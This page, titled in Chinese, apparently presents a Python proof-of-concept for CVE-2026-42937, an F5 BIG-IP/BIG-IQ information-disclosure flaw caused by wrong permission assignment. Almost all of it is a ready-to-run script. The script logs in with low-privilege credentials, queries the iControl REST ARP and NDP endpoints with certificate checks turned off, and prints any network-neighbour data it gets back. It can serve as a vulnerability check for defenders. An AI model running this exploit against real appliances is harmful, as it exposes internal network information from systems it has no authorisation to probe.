CVE-2026-42937 F5 BIG-IP权限分配错误导致信息泄露

import requests import json import urllib3 # Suppress SSL warnings for demonstration urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # CVE-2026-42937 PoC: Information Disclosure via iControl REST # Target: F5 BIG-IP / BIG-IQ # Note: Requires valid authentication credentials (low privilege) def check_cve(target_ip, username, password): # iControl REST endpoint for ARP or NDP # Attacker tries to access network neighbor info which should be restricted endpoints = [ f"https://{target_ip}/mgmt/tm/net/arp", f"https://{target_ip}/mgmt/tm/net/ndp" ] headers = { "Content-Type": "application/json" } for endpoint in endpoints: try: print(f"[*] Testing endpoint: {endpoint}") response = requests.get( endpoint, auth=(username, password), headers=headers, verify=False, timeout=10 ) if response.status_code == 200: data = response.json() if "items" in data and len(data["items"]) > 0: print(f"[+] Vulnerable! Successfully retrieved neighbor information.") print(f"[+] Data sample: {json.dumps(data['items'][:2], indent=2)}") return True else: print(f"[-] Status Code: {response.status_code}") except Exception as e: print(f"[-] Error connecting to {endpoint}: {e}") return False if __name__ == "__main__": # Replace with actual target details target = "192.168.1.100" user = "test_user" pwd = "test_pass" check_cve(target, user, pwd)